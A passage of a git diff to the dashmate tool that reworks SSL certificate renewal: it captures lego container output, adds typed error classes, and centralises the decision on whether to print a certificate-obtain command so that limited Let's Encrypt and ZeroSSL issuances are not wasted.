let finished = false; + + // The connection can both end and close; ending the sink twice makes it + // raise, and this must not turn evidence into a failure. + const finish = () => { + if (!finished) { + finished = true; + sink.end(); + } + }; + + sink.on('data', (chunk) => chunks.push(chunk)); + + // Resolved when the sink drains rather than when the connection ends: + // the last frames are still in flight at that point, and a reader that + // stops there loses the end of the output - which is where lego says + // what went wrong. + sink.on('end', resolve); + + // Docker frames stdout and stderr into a single connection unless a TTY + // was allocated, and lego is run without one. Undemultiplexed, each + // frame's eight-byte header lands in the middle of the text - which is + // read by an operator and stored as the recorded reason for the failure. + container.modem.demuxStream(stream, sink, sink); + + stream.on('end', finish); + stream.on('close', finish); + stream.on('error', finish); + })) + // Output is evidence, never the outcome. A daemon that will not hand it + // over leaves the error thinner, and must not replace it. + .catch(() => {}); + + // Resolved once the daemon has handed over the stream. Awaiting this before + // the result is waited on is what makes the attach ordered rather than + // merely started: without it the request is in flight while the container + // may already have exited and been removed. + const attached = attaching.then(() => {}, () => {}); + + const read = async () => { + // The timer is cleared whichever side wins. Left running it keeps this + // callback's closure - and the buffered output - reachable for another ten + // seconds on every renewal, and holds the event loop open for a command + // that has otherwise finished. + let timer; + + try { + await Promise.race([ + collected, + new Promise((resolve) => { + timer = setTimeout(resolve, OUTPUT_DRAIN_TIMEOUT_MS); + }), + ]); + } finally { + clearTimeout(timer); + } + + return Buffer.concat(chunks).toString(); + }; + + return { attached, read }; +} + /** * Let's Encrypt allows five failed authorizations per address per account per * hour, and that budget is shared with the helper's renewal of a still-valid @@ -427,6 +521,11 @@ export default function obtainLetsEncryptCertificateTaskFactory( ExposedPorts: { '80/tcp': {} }, ...legoContainerOptions, HostConfig: { + // Auto-removed, with the residual this leaves documented on + // collectContainerOutput. Retaining it instead is worse here: + // every run shares one container name, and the stale-container + // cleanup force-removes whatever holds it - which kills a live + // lego, observed as exit 137 across the Pebble suite. AutoRemove: true, Binds: binds, PortBindings: { '80/tcp': [{ HostPort: '80' }] }, @@ -439,6 +538,13 @@ export default function obtainLetsEncryptCertificateTaskFactory( // eslint-disable-next-line no-param-reassign task.output = `Running lego ${command}...`; + const { attached, read: readOutput } = collectContainerOutput(container); + + // Confirmed, not merely requested. The daemon deletes an + // auto-removed container the moment it exits, so a stream still + // being set up when the process ends can arrive empty. + await attached; + // The container is running, so a request may have been made - but a // result nobody read is not a result that can be reported. let result; @@ -448,19 +554,16 @@ export default function obtainLetsEncryptCertificateTaskFactory( throw new LegoResultNotObservedError(e); } + const output = await readOutput(); + if (result.StatusCode !== 0) { // lego's own output is the best account of what went wrong - // Boulder answers "why did port 80 fail" in prose better than any // classifier dashmate could keep current. let errorMessage = `Lego exited with code ${result.StatusCode}`; - try { - const logs = await container.logs({ - stdout: true, - stderr: true, - }); - errorMessage += `\n${logs.toString()}`; - } catch (e) { - // Container may have been auto-removed + + if (output.length > 0) { + errorMessage += `\n${output}`; } throw new Error(`Failed to obtain Let's Encrypt certificate: ${errorMessage}`); @@ -495,20 +598,32 @@ export default function obtainLetsEncryptCertificateTaskFactory( break; } catch (e) { + // Each of these replaces the typed error with guidance written + // for a terminal, so the original is carried as the cause. How + // far the attempt got - whether the certificate check ever ran, + // whether an issuance was spent - cannot be recovered by reading + // that prose, and an unattended renewal has to record it. + // // The helper never ran, so there is nothing the authority could // tell us and nothing to retry against - the fix is local. if (e instanceof LegoDidNotStartError) { - throw new Error(renderHelperDidNotStartGuidance(config, e.cause, e.neverRan)); + throw new Error( + renderHelperDidNotStartGuidance(config, e.cause, e.neverRan), + { cause: e }, + ); } if (e instanceof LegoResultNotObservedError) { - throw new Error(renderResultNotObservedGuidance(config, e.cause)); + throw new Error(renderResultNotObservedGuidance(config, e.cause), { cause: e }); } // A certificate exists. Retrying would ask for another one for a // problem that is entirely local to this machine. if (e instanceof LegoArtifactsMissingError) { - throw new Error(renderArtifactsMissingGuidance(config, e.missingPath)); + throw new Error( + renderArtifactsMissingGuidance(config, e.missingPath), + { cause: e }, + ); } // Prompting needs a positive opt-in from the entry point. The diff --git a/packages/dashmate/src/listr/tasks/ssl/saveCertificateTask.js b/packages/dashmate/src/listr/tasks/ssl/saveCertificateTask.js index d9a29de7014..c595155c5c2 100644 --- a/packages/dashmate/src/listr/tasks/ssl/saveCertificateTask.js +++ b/packages/dashmate/src/listr/tasks/ssl/saveCertificateTask.js @@ -7,9 +7,10 @@ import renderConfigFlag from '../../../util/renderConfigFlag.js'; /** * @param {HomeDir} homeDir + * @param {RenewalRecordRepository} renewalRecordRepository * @return {saveCertificateTask} */ -export default function saveCertificateTaskFactory(homeDir) { +export default function saveCertificateTaskFactory(homeDir, renewalRecordRepository) { /** * @typedef {function} saveCertificateTask * @param {Config} config @@ -83,11 +84,42 @@ export default function saveCertificateTaskFactory(homeDir) { throw new Error(`The certificate and private key written for the gateway do not match:` + ` ${detail}.\n` + `Certificate: ${crtFile}\nPrivate key: ${keyFile}\n` - + 'The gateway will not start with these files. Obtain the certificate again:\n' + + 'The gateway will not start with these files.\n\n' + + 'A certificate was already issued for this node, and it counts against\n' + + "the authority's weekly limit whether or not these files are usable.\n" + + 'Asking for another spends a second one, so check free space and the\n' + + 'permissions on this directory first. Then, if the files are still\n' + + 'wrong:\n' + ` dashmate ssl obtain ${renderConfigFlag(config.getName())} --force`); } config.set('platform.gateway.ssl.enabled', true); + + // A usable pair is installed, so any earlier failure has been + // overtaken. The helper cannot notice this on its own: after a failed + // renewal it stops watching the configuration until it retries an + // hour later, and installing a certificate changes none of the values + // it watches anyway. Without this an operator who has just repaired + // their node is told renewal is failing, at the moment they run the + // command to check their work. + try { + // A renewal that reaches this point is installing its own + // certificate, and it still has to record the success afterwards - + // so it clears under the generation it already holds. A command run + // by hand holds none, and takes a new one: the operator is acting + // now, so an attempt still in flight from before must not be able + // to recreate the failure this install just settled. + renewalRecordRepository.remove( + config.getName(), + ctx.renewalGeneration ?? renewalRecordRepository.claimGeneration(config.getName()), + ); + } catch (e) { + // Bookkeeping must not fail an install. The pair is already on + // disk and the provider is already set; throwing here would report + // a renewal that fully succeeded as a failure. + // eslint-disable-next-line no-console + console.warn(`Could not clear the renewal record: ${e.message}`); + } }, }]); } diff --git a/packages/dashmate/src/listr/tasks/ssl/zerossl/obtainZeroSSLCertificateTaskFactory.js b/packages/dashmate/src/listr/tasks/ssl/zerossl/obtainZeroSSLCertificateTaskFactory.js index f01a7e1d3b7..f3498f513fc 100644 --- a/packages/dashmate/src/listr/tasks/ssl/zerossl/obtainZeroSSLCertificateTaskFactory.js +++ b/packages/dashmate/src/listr/tasks/ssl/zerossl/obtainZeroSSLCertificateTaskFactory.js @@ -6,6 +6,7 @@ import lodash from 'lodash'; import promptOrThrow from '../../../../util/promptOrThrow.js'; import wait from '../../../../util/wait.js'; import { ERRORS } from '../../../../ssl/zerossl/validateZeroSslCertificateFactory.js'; +import VerificationServerUnreachableError from '../../../../ssl/errors/VerificationServerUnreachableError.js'; /** * @param {generateCsr} generateCsr @@ -177,7 +178,7 @@ export default function obtainZeroSSLCertificateTaskFactory( const isResponding = await verificationServer.waitForServerIsResponding(); if (!isResponding) { - throw new Error(`Verification server is not responding. + throw new VerificationServerUnreachableError(`Verification server is not responding. Please ensure that port 80 on your public IP address ${ctx.externalIp} is open for incoming HTTP connections. You may need to configure your firewall to ensure this port is accessible from the public internet. If you are using diff --git a/packages/dashmate/src/listr/tasks/update/gatewayCertificateTaskFactory.js b/packages/dashmate/src/listr/tasks/update/gatewayCertificateTaskFactory.js index 7b5ec7bab15..7cee285127e 100644 --- a/packages/dashmate/src/listr/tasks/update/gatewayCertificateTaskFactory.js +++ b/packages/dashmate/src/listr/tasks/update/gatewayCertificateTaskFactory.js @@ -1,6 +1,10 @@ import { SSL_PROVIDERS } from '../../../constants.js'; import ServiceIsNotRunningError from '../../../docker/errors/ServiceIsNotRunningError.js'; import CertificateUnresolvedError from '../../../ssl/errors/CertificateUnresolvedError.js'; +import ConfigurationLockLostError from '../../../ssl/errors/ConfigurationLockLostError.js'; +import deriveRenewalGuidance, { SAFE_ACTION } from '../../../ssl/renewalGuidance.js'; +import renderObtainCommand from '../../../ssl/renderObtainCommand.js'; +import { RENEWAL_RECORD_STATES } from '../../../ssl/renewalRecord/RenewalRecordRepository.js'; import { CERTIFICATE_REASONS, CERTIFICATE_STATUS, @@ -138,7 +142,46 @@ export default function gatewayCertificateTaskFactory( configFile, writeConfigTemplates, dockerCompose, + renewalRecordRepository, ) { + /** + * What the helper last recorded, and whether a certificate could be kept. + * + * Every branch that prints or runs an obtain asks this. Deciding it per + * branch is how the ZeroSSL warning came to print a command the same file + * withheld twenty lines further down, and how an unreadable record came to + * read as no record at all. + * + * @param {Config} config + * @param {Object} verdict + * @return {Object} + */ + function renewalGuidanceFor(config, verdict) { + const { state, record } = renewalRecordRepository.read(config.getName()); + const isManaged = config.get('platform.gateway.ssl.enabled') === true; + + // A record left by a previous provider, one an installed certificate has + // already outlived, or one describing a success is not this node's current + // state - and a record that exists and cannot be read is not the same as + // one that is absent. + const applicable = state === RENEWAL_RECORD_STATES.PRESENT + && isManaged + && record.isFailed() + && record.appliesTo({ + provider: config.get('platform.gateway.ssl.provider'), + certificateValidFrom: verdict.installed ? verdict.installed.validFrom : null, + }) + ? record + : null; + + return deriveRenewalGuidance({ + record: applicable, + isRecordUnreadable: isManaged && state === RENEWAL_RECORD_STATES.UNREADABLE, + // This surface only speaks when the certificate did not pass, so waiting + // for the next automatic attempt is never affordable here. + isCertificateUsable: false, + }); + } /** * Persist the provider, and only after a certificate exists to back it. * @@ -155,7 +198,7 @@ export default function gatewayCertificateTaskFactory( // and another command to save and render newer state. Rendering from this // configuration would overwrite that. if (!configFileRepository.isExclusive()) { - throw new Error('Lost the configuration lock while obtaining the certificate, so the' + throw new ConfigurationLockLostError('Lost the configuration lock while obtaining the certificate, so the' + ' provider was not saved. The certificate was obtained and installed; re-run once no' + ' other command is changing configuration.'); } @@ -295,17 +338,29 @@ export default function gatewayCertificateTaskFactory( // Said on every run, to a human and to a script alike: a free ZeroSSL // account allows three certificates in total, and nothing tells an // operator that renewal has stopped being possible until it has. + // This certificate still works, so nothing here is urgent - but it + // still ends in a command, and a command is an instruction to run it. + // Both endings below used to be chosen without reading the record at + // all, so a node that already has an issuance outstanding, or one that + // could not save what it obtained, was offered another anyway. + const guidance = renewalGuidanceFor(config, verdict); + const mayAsk = guidance.safeAction !== SAFE_ACTION.DO_NOT_OBTAIN; + + const withheld = `\n\n Do not obtain one yet - a certificate may already have been issued. + Send a report instead: dashmate doctor report ${cfg}`; + const warn = () => { ctx.certificateWarnings = [ ...(ctx.certificateWarnings ?? []), `This node uses ZeroSSL and its certificate expires ${remaining}.` + ' A free ZeroSSL account allows three certificates in total, so renewals' - + ' stop working after about 270 days.' - + `\n\n dashmate ssl obtain ${cfg} --provider letsencrypt`, + + ` stop working after about 270 days.${mayAsk + ? `\n\n ${renderObtainCommand({ configName: config.getName(), guidance })}` + : withheld}`, ]; }; - if (!interactive) { + if (!interactive || !mayAsk) { warn(); collectWarnings(ctx, verdict); @@ -491,6 +546,18 @@ export default function gatewayCertificateTaskFactory( 80: half the nodes in this state have it open and stopped renewing anyway.\n` : renderSwitchOffer(config, config.get('externalIp')); + // What the helper recorded, before offering to spend a certificate. This + // prompt used to run without reading it at all - it defaults to Yes and + // obtains directly, so a node with an issuance already outstanding, or + // one whose storage cannot hold a certificate, could be talked into + // spending another from a weekly handful. A guarantee enforced on the + // other surfaces and bypassed here is not a guarantee. + const guidance = renewalGuidanceFor(config, verdict); + + if (guidance.safeAction === SAFE_ACTION.DO_NOT_OBTAIN) { + throw new CertificateUnresolvedError(verdict); + } + const accepted = await promptOrThrow(task, { type: 'toggle', header, diff --git a/packages/dashmate/src/ssl/certificateReporting.js b/packages/dashmate/src/ssl/certificateReporting.js index 761c73a765a..fe778510cce 100644 --- a/packages/dashmate/src/ssl/certificateReporting.js +++ b/packages/dashmate/src/ssl/certificateReporting.js @@ -1,4 +1,7 @@ import renderCertificateGuidance from './renderCertificateGuidance.js'; +import { RENEWAL_RECORD_STATES } from './renewalRecord/RenewalRecordRepository.js'; +import deriveRenewalGuidance from './renewalGuidance.js'; +import { CERTIFICATE_REASONS } from './checkGatewayCertificateFactory.js'; /** * Everything the certificate check needs to say to an operator, kept out of the @@ -42,6 +45,7 @@ export function writeDiagnostics(verdict, config, extra = {}) { * @param {Config} options.config * @param {Object} options.verdict * @param {Object} options.dockerCompose + * @param {RenewalRecordRepository} options.renewalRecordRepository * @param {Object|null} options.pull * @param {boolean} [options.obtainAttemptFailed] * @return {Promise} @@ -50,6 +54,7 @@ export async function reportUnresolved({ config, verdict, dockerCompose, + renewalRecordRepository, pull, obtainAttemptFailed = false, }) { @@ -65,11 +70,48 @@ export async function reportUnresolved({ // Says nothing about the certificate either, so the verdict stands. } + // Read through the same module the doctor's sample uses, so both surfaces + // apply one definition of which record still describes this node - a record + // left by a previous provider, or one an installed certificate has already + // outlived, is not this node's current state on either. + // + // Only the cause is taken from it. The excerpt the helper stored is never + // rendered here: nothing on this path masks the operator's identity the way + // a collected report does. + const { state, record } = renewalRecordRepository.read(config.getName()); + const isManaged = config.get('platform.gateway.ssl.enabled') === true; + + const applicable = state === RENEWAL_RECORD_STATES.PRESENT + && isManaged + && record.isFailed() + && record.appliesTo({ + provider: config.get('platform.gateway.ssl.provider'), + certificateValidFrom: verdict.installed ? verdict.installed.validFrom : null, + }) + ? record + : null; + + // Derived once, by the same function the doctor uses. Both surfaces reached + // their own conclusion from the raw record before, and drifted apart three + // times about whether a command was safe to print. + const renewal = deriveRenewalGuidance({ + record: applicable, + // A record that exists and cannot be read may be the one that says an + // issuance is outstanding, so nothing may be spent on the strength of it. + isRecordUnreadable: isManaged && state === RENEWAL_RECORD_STATES.UNREADABLE, + hasNoExternalIp: verdict.reasons + .some(({ code }) => code === CERTIFICATE_REASONS.NO_EXTERNAL_IP), + // This surface only speaks when the certificate did not pass, so waiting + // for the next automatic attempt is never affordable here. + isCertificateUsable: false, + }); + process.stderr.write(renderCertificateGuidance({ config, verdict, isNodeRunning, pull, obtainAttemptFailed, + renewal, })); } diff --git a/packages/dashmate/src/ssl/errors/CertificateFileMissingError.js b/packages/dashmate/src/ssl/errors/CertificateFileMissingError.js new file mode 100644 index 00000000000..6b796b4e98d --- /dev/null +++ b/packages/dashmate/src/ssl/errors/CertificateFileMissingError.js @@ -0,0 +1,22 @@ +import AbstractError from '../../errors/AbstractError.js'; + +/** + * The certificate this node should be renewing is not on disk. + * + * Raised only where a read failed with `ENOENT`, and never from the error's + * shape alone. The same read also fails for a permission denial and for a + * corrupt file, and both of those are repaired locally - telling an operator to + * obtain a certificate would spend one of a handful of weekly issuances on a + * problem no certificate can fix. A provider response can also carry a `code` + * property, so shape alone does not even establish that the failure was local. + */ +export default class CertificateFileMissingError extends AbstractError { + /** + * @param {string} certificatePath + */ + constructor(certificatePath) { + super(`This node's certificate file ${certificatePath} is missing`); + + this.certificatePath = certificatePath; + } +} diff --git a/packages/dashmate/src/ssl/errors/ConfigurationLockLostError.js b/packages/dashmate/src/ssl/errors/ConfigurationLockLostError.js new file mode 100644 index 00000000000..b12d198afec --- /dev/null +++ b/packages/dashmate/src/ssl/errors/ConfigurationLockLostError.js @@ -0,0 +1,13 @@ +import AbstractError from '../../errors/AbstractError.js'; + +/** + * Another command held or took the configuration lock, so renewal stopped part + * way through. + * + * Typed rather than recognised by its wording. The certificate authority quotes + * the responder's own page back into its problem detail, so a machine answering + * on port 80 could otherwise put this phrase in front of dashmate and have an + * operator told to stop and wait for a command that was never running. + */ +export default class ConfigurationLockLostError extends AbstractError { +} diff --git a/packages/dashmate/src/ssl/errors/ProviderCredentialsRejectedError.js b/packages/dashmate/src/ssl/errors/ProviderCredentialsRejectedError.js new file mode 100644 index 00000000000..263a5ce691a --- /dev/null +++ b/packages/dashmate/src/ssl/errors/ProviderCredentialsRejectedError.js @@ -0,0 +1,13 @@ +import AbstractError from '../../errors/AbstractError.js'; + +/** + * This node's provider credentials will not be accepted. + * + * Raised where the key is examined rather than recognised by its wording. A + * key that is absent, empty or malformed never reaches the provider, so there + * is no numeric code to classify it by - and without a type it fell through to + * "could not work out why", which sends an operator to support for something + * they can repair in one command. + */ +export default class ProviderCredentialsRejectedError extends AbstractError { +} diff --git a/packages/dashmate/src/ssl/errors/ProviderUnreachableError.js b/packages/dashmate/src/ssl/errors/ProviderUnreachableError.js new file mode 100644 index 00000000000..ecfd1b28f9b --- /dev/null +++ b/packages/dashmate/src/ssl/errors/ProviderUnreachableError.js @@ -0,0 +1,12 @@ +import AbstractError from '../../errors/AbstractError.js'; + +/** + * The provider's API could not be reached, or answered with something that is + * not a provider response at all. + * + * Raised at the request, where the transport failure is a fact rather than a + * phrase. Recognising `fetch failed` in a message instead would let any text + * carrying those words be read as this node's own network failing. + */ +export default class ProviderUnreachableError extends AbstractError { +} diff --git a/packages/dashmate/src/ssl/errors/VerificationServerUnreachableError.js b/packages/dashmate/src/ssl/errors/VerificationServerUnreachableError.js new file mode 100644 index 00000000000..3f9cd1931a2 --- /dev/null +++ b/packages/dashmate/src/ssl/errors/VerificationServerUnreachableError.js @@ -0,0 +1,11 @@ +import AbstractError from '../../errors/AbstractError.js'; + +/** + * The provider's own preflight could not confirm this node answers on port 80. + * + * Raised where the check runs, not inferred from the text it produced. Which of + * the two readings applies is still unknown - nothing replied, or something + * replied wrongly - and this says only what was observed. + */ +export default class VerificationServerUnreachableError extends AbstractError { +} diff --git a/packages/dashmate/src/ssl/renderCertificateGuidance.js b/packages/dashmate/src/ssl/renderCertificateGuidance.js index e3824aed258..90ddecae5d5 100644 --- a/packages/dashmate/src/ssl/renderCertificateGuidance.js +++ b/packages/dashmate/src/ssl/renderCertificateGuidance.js @@ -1,13 +1,8 @@ import { SSL_PROVIDERS } from '../constants.js'; import renderConfigFlag from '../util/renderConfigFlag.js'; import { CERTIFICATE_REASONS, requiresReplacement } from './checkGatewayCertificateFactory.js'; - -/** - * @param {Object} verdict - * @param {string} code - * @return {boolean} - */ -const hasReason = (verdict, code) => verdict.reasons.some((reason) => reason.code === code); +import deriveRenewalGuidance, { ISSUANCE_STATUS, SAFE_ACTION } from './renewalGuidance.js'; +import renderObtainCommand from './renderObtainCommand.js'; /** * Faults in the files themselves. The gateway is handed the pair as-is, so any @@ -82,7 +77,28 @@ function renderObservation(verdict) { * * @return {string} */ -function renderZeroSslExplanation() { +function renderZeroSslExplanation(renewal) { + // Once ZeroSSL has actually said so, this stops being background about how + // the free tier works and becomes what happened to this node. + // Only where ZeroSSL actually said so. Printed against an unrelated failure + // - an unreachable API, an interrupted renewal - it reads as the diagnosis + // and sends an operator to switch provider over something transient. + if (renewal?.code === 'PROVIDER_PLAN_REQUIRED') { + return ` This node uses ZeroSSL, and ${renewal.cause}. +`; + } + + if (renewal?.code === 'QUOTA_EXHAUSTED') { + return ` This node uses ZeroSSL, and its free account has used all three of its + certificates - so ZeroSSL will not issue another one. +`; + } + + if (renewal?.cause) { + return ` This node uses ZeroSSL. Renewal is failing: ${renewal.cause}. +`; + } + return ` This node uses ZeroSSL. A free ZeroSSL account allows three certificates in total, so renewals stop working after about 270 days. `; @@ -133,7 +149,16 @@ function renderSwitchIncompleteGuidance(config, cfg) { * @param {string} cfg * @return {string} */ -function renderLetsEncryptDiagnosis(cfg) { +function renderLetsEncryptDiagnosis(cfg, renewal) { + // Only a guess while nothing recorded what happened. With a record there is + // no reason to name a likely cause, and no reason to send an operator to a + // log stream that a container recreation may already have discarded. + if (renewal?.cause) { + return ` This node already uses Let's Encrypt, so there is no provider to switch to. + Renewal is failing: ${renewal.cause}. +`; + } + return ` This node already uses Let's Encrypt, so there is no provider to switch to. Inbound port 80 is the most common cause. Check the renewal logs: @@ -150,12 +175,52 @@ function renderLetsEncryptDiagnosis(cfg) { * @param {string} cfg * @return {string} */ -function renderNoExternalIpGuidance(cfg) { - return ` To fix it, tell dashmate this node's public address, then get a - certificate for it: +function renderNoExternalIpGuidance(cfg, mayObtain, configName, guidance) { + // The address is required either way. The request that follows it is not + // exempt from the decision every other request goes through - an issuance + // already outstanding is still outstanding once the address is set. + const request = mayObtain + ? ` ${renderObtainCommand({ configName, guidance })}\n` + : ''; + + return ` To fix it, tell dashmate this node's public address${mayObtain ? `, then get a + certificate for it` : ''}: dashmate config set ${cfg} externalIp - dashmate ssl obtain ${cfg} --provider letsencrypt +${request}`; +} + +/** + * @param {string} cfg + * @param {Object} renewal + * @return {string} + */ +function renderWithheldObtain(cfg, renewal) { + if (renewal.issuanceStatus === ISSUANCE_STATUS.SPENT) { + return ` A certificate was issued and could not be saved, so it is already spent + against this node's limit and asking again spends another. Check free space + and permissions where dashmate saves certificates first: + + dashmate doctor ${cfg} +`; + } + + // Not the same claim. dashmate does not know whether a certificate exists, + // and saying one could not be saved would assert something it cannot. + if (renewal.issuanceStatus === ISSUANCE_STATUS.UNCERTAIN) { + return ` An earlier attempt may already have been issued a certificate without dashmate + seeing it, so asking again could spend a second one. Check whether one + arrived first: + + dashmate doctor ${cfg} +`; + } + + return ` Do not obtain a certificate right now - it would not succeed, and each + attempt counts against this node's limits. Check again once the cause above + has cleared: + + dashmate doctor ${cfg} `; } @@ -165,7 +230,7 @@ function renderNoExternalIpGuidance(cfg) { * @param {Object} verdict - decides whether the certificate can be reinstated * @return {string} */ -function renderFix(cfg, isAlreadyLetsEncrypt, verdict) { +function renderFix(cfg, isAlreadyLetsEncrypt, verdict, configName, guidance) { // A node already on Let's Encrypt has nothing to switch to, so the heading // that offers a switch would contradict the diagnosis above it. const heading = isAlreadyLetsEncrypt @@ -180,7 +245,25 @@ function renderFix(cfg, isAlreadyLetsEncrypt, verdict) { Then: - dashmate ssl obtain ${cfg} --provider letsencrypt${requiresReplacement(verdict) ? ' --force' : ''} + ${renderObtainCommand({ + configName, guidance, force: requiresReplacement(verdict), + })} +`; +} + +/** + * The node still works and renewal comes back around by itself, so a command + * here spends one of the few failed attempts this node is allowed on a repair + * that has not been made yet. + * + * @param {string} cfg + * @return {string} + */ +function renderFixLocallyThenWait(cfg) { + return ` Fix the cause above. dashmate retries by itself, so there is no command to + run - check it worked afterwards: + + dashmate doctor ${cfg} `; } @@ -202,6 +285,9 @@ function renderFix(cfg, isAlreadyLetsEncrypt, verdict) { * determined, in which case nothing is said about the node's state * @param {boolean} [options.obtainAttemptFailed] - an obtain was run and threw * @param {{ok: boolean, failed: number, total: number}|null} options.pull + * @param {Object|null} [options.renewal] - the recorded renewal failure, when + * one applies to the certificate this node is using + * @param {Object} options.renewal - derived once by deriveRenewalGuidance * @return {string} */ export default function renderCertificateGuidance({ @@ -210,8 +296,16 @@ export default function renderCertificateGuidance({ isNodeRunning, pull, obtainAttemptFailed = false, + renewal = null, }) { const cfg = renderConfigFlag(config.getName()); + // A caller with nothing recorded still gets a decision, so no branch below + // has to work out for itself what an absent record means. + const guidance = renewal ?? deriveRenewalGuidance({ + hasNoExternalIp: verdict.reasons + .some(({ code }) => code === CERTIFICATE_REASONS.NO_EXTERNAL_IP), + isCertificateUsable: false, + }); const provider = config.get('platform.gateway.ssl.provider'); // Only when the interrupted switch is the whole problem. The installed pair // being the one lego produced says nothing about whether it is still valid, @@ -256,17 +350,36 @@ ${obtainAttemptFailed blocks.push(renderSwitchIncompleteGuidance(config, cfg)); } else { if (provider === SSL_PROVIDERS.ZEROSSL) { - blocks.push(renderZeroSslExplanation()); + blocks.push(renderZeroSslExplanation(guidance)); } if (provider === SSL_PROVIDERS.LETSENCRYPT) { - blocks.push(renderLetsEncryptDiagnosis(cfg)); + blocks.push(renderLetsEncryptDiagnosis(cfg, guidance)); + } + + // The address is a prerequisite for every other repair, so it is said + // first and regardless - the obtain command refuses to start without one. + if (guidance.prerequisites.includes('EXTERNAL_IP')) { + blocks.push(renderNoExternalIpGuidance( + cfg, + guidance.safeAction !== SAFE_ACTION.DO_NOT_OBTAIN, + config.getName(), + guidance, + )); } - if (hasReason(verdict, CERTIFICATE_REASONS.NO_EXTERNAL_IP)) { - blocks.push(renderNoExternalIpGuidance(cfg)); - } else { - blocks.push(renderFix(cfg, provider === SSL_PROVIDERS.LETSENCRYPT, verdict)); + if (guidance.safeAction === SAFE_ACTION.DO_NOT_OBTAIN) { + blocks.push(renderWithheldObtain(cfg, guidance)); + } else if (guidance.safeAction === SAFE_ACTION.WAIT_AFTER_LOCAL_FIX) { + blocks.push(renderFixLocallyThenWait(cfg)); + } else if (!guidance.prerequisites.includes('EXTERNAL_IP')) { + blocks.push(renderFix( + cfg, + provider === SSL_PROVIDERS.LETSENCRYPT, + verdict, + config.getName(), + guidance, + )); } blocks.push(renderPortEightyPermanence()); diff --git a/packages/dashmate/src/ssl/renderObtainCommand.js b/packages/dashmate/src/ssl/renderObtainCommand.js new file mode 100644 index 00000000000..cffe0f42e56 --- /dev/null +++ b/packages/dashmate/src/ssl/renderObtainCommand.js @@ -0,0 +1,75 @@ +import chalk from 'chalk'; +import { SAFE_ACTION, ISSUANCE_STATUS } from './renewalGuidance.js'; +import renderConfigFlag from '../util/renderConfigFlag.js'; + +/** + * The only thing allowed to put a certificate request in front of an operator. + * + * Every surface that reports on certificates had its own copy of this command, + * and each one decided for itself whether printing it was safe. They did not + * agree: a request appeared directly beneath the sentence withholding it, a + * provider-switch ending printed one after the shared derivation had already + * refused, and a node with an issuance outstanding was handed the command by a + * branch that had never heard of the record. + * + * Fixing those one at a time did not converge - each round of review found more + * of them - so the decision is not made per branch any more. A caller asks for + * the command and is given either the command or the reason it is being + * withheld, and cannot tell the difference without looking. A branch that + * forgets to consult the guidance is now impossible rather than unlikely, and + * `renderObtainCommand.spec.js` fails if the raw command reappears in any + * surface that has guidance available. + * + * @param {Object} options + * @param {string} options.configName + * @param {Object} options.guidance - from deriveRenewalGuidance + * @param {boolean} [options.force] + * @param {string} [options.provider] - written into the command when given + * @return {string} the command, or what to do instead + */ +export default function renderObtainCommand({ + configName, guidance, force = false, provider = 'letsencrypt', +}) { + // A command with no node named is worse than no command: an operator pastes + // it, and it runs against the default config or none. Refusing here means a + // caller that forgets is a visible failure rather than a wrong instruction. + if (!configName) { + throw new Error('renderObtainCommand needs the config the command is for'); + } + + const cfg = renderConfigFlag(configName); + const flags = `${provider ? ` --provider ${provider}` : ''}${force ? ' --force' : ''}`; + const command = chalk`{bold.cyanBright dashmate ssl obtain ${cfg}${flags}}`; + + const { safeAction, issuanceStatus } = guidance; + + // The node still works and renewal comes back around by itself, so asking now + // spends one of the few failed attempts the authority allows on a repair that + // has not been made yet. + if (safeAction === SAFE_ACTION.WAIT_AFTER_LOCAL_FIX) { + return chalk`Fix the cause above. dashmate retries by itself - then check it worked: +{bold.cyanBright dashmate doctor ${cfg}}`; + } + + if (safeAction !== SAFE_ACTION.DO_NOT_OBTAIN) { + return command; + } + + // Withheld, and for which of two reasons. Saying "could not be saved" when + // dashmate does not know whether a certificate exists is a claim it cannot + // make, and the operator's next step differs. + if (issuanceStatus === ISSUANCE_STATUS.SPENT) { + return chalk`Do not obtain one - a certificate was already issued and could not be saved, +so asking again spends another. Send a report instead: +{bold.cyanBright dashmate doctor report ${cfg}}`; + } + + if (issuanceStatus === ISSUANCE_STATUS.UNCERTAIN) { + return chalk`Do not obtain one yet - an earlier attempt may already have been issued a +certificate without dashmate seeing it. Send a report instead: +{bold.cyanBright dashmate doctor report ${cfg}}`; + } + + return chalk`Send a report to Dash support: +{bold.cyanBright dashmate doctor report ${cfg}}`; +} diff --git a/packages/dashmate/src/ssl/renewal-failure.js b/packages/dashmate/src/ssl/renewal-failure.js new file mode 100644 index 00000000000..8bcabfc8cb9 --- /dev/null +++ b/packages/dashmate/src/ssl/renewal-failure.js @@ -0,0 +1,554 @@ +import LegoArtifactsMissingError from './errors/LegoArtifactsMissingError.js'; +import LegoDidNotStartError from './errors/LegoDidNotStartError.js'; +import LegoResultNotObservedError from './errors/LegoResultNotObservedError.js'; +import ConfigurationLockLostError from './errors/ConfigurationLockLostError.js'; +import VerificationServerUnreachableError from './errors/VerificationServerUnreachableError.js'; +import ProviderUnreachableError from './errors/ProviderUnreachableError.js'; +import CertificateFileMissingError from './errors/CertificateFileMissingError.js'; +import ProviderCredentialsRejectedError from './errors/ProviderCredentialsRejectedError.js'; + +/** + * Why a scheduled renewal did not produce a certificate. + * + * The vocabulary is closed and lives here rather than at the call sites, + * because only the helper still holds the error: by the time a report reaches + * whoever is helping an operator, the provider's own account of what happened + * is gone. A reader that meets a code it does not know treats it as UNKNOWN, + * so a newer helper can add one without silencing an older reader. + */ +/** + * The only provider whose output this module reads. Named rather than inlined + * so the gate is one value, not a string repeated at each site that grew a + * different idea of what counts. + */ +const LETSENCRYPT_PROVIDER = 'letsencrypt'; + +export const RENEWAL_FAILURE_CODES = { + PORT_80_UNREACHABLE: 'PORT_80_UNREACHABLE', + PORT_80_WRONG_RESPONDER: 'PORT_80_WRONG_RESPONDER', + PORT_80_IN_USE: 'PORT_80_IN_USE', + PORT_80_CHECK_FAILED: 'PORT_80_CHECK_FAILED', + RATE_LIMITED: 'RATE_LIMITED', + PROVIDER_REJECTED: 'PROVIDER_REJECTED', + CERTIFICATE_CHECK_REFUSED: 'CERTIFICATE_CHECK_REFUSED', + HELPER_DID_NOT_START: 'HELPER_DID_NOT_START', + HELPER_START_UNCONFIRMED: 'HELPER_START_UNCONFIRMED', + CERTIFICATE_ISSUED_NOT_SAVED: 'CERTIFICATE_ISSUED_NOT_SAVED', + RESULT_UNKNOWN: 'RESULT_UNKNOWN', + QUOTA_EXHAUSTED: 'QUOTA_EXHAUSTED', + PROVIDER_PLAN_REQUIRED: 'PROVIDER_PLAN_REQUIRED', + PROVIDER_AUTH: 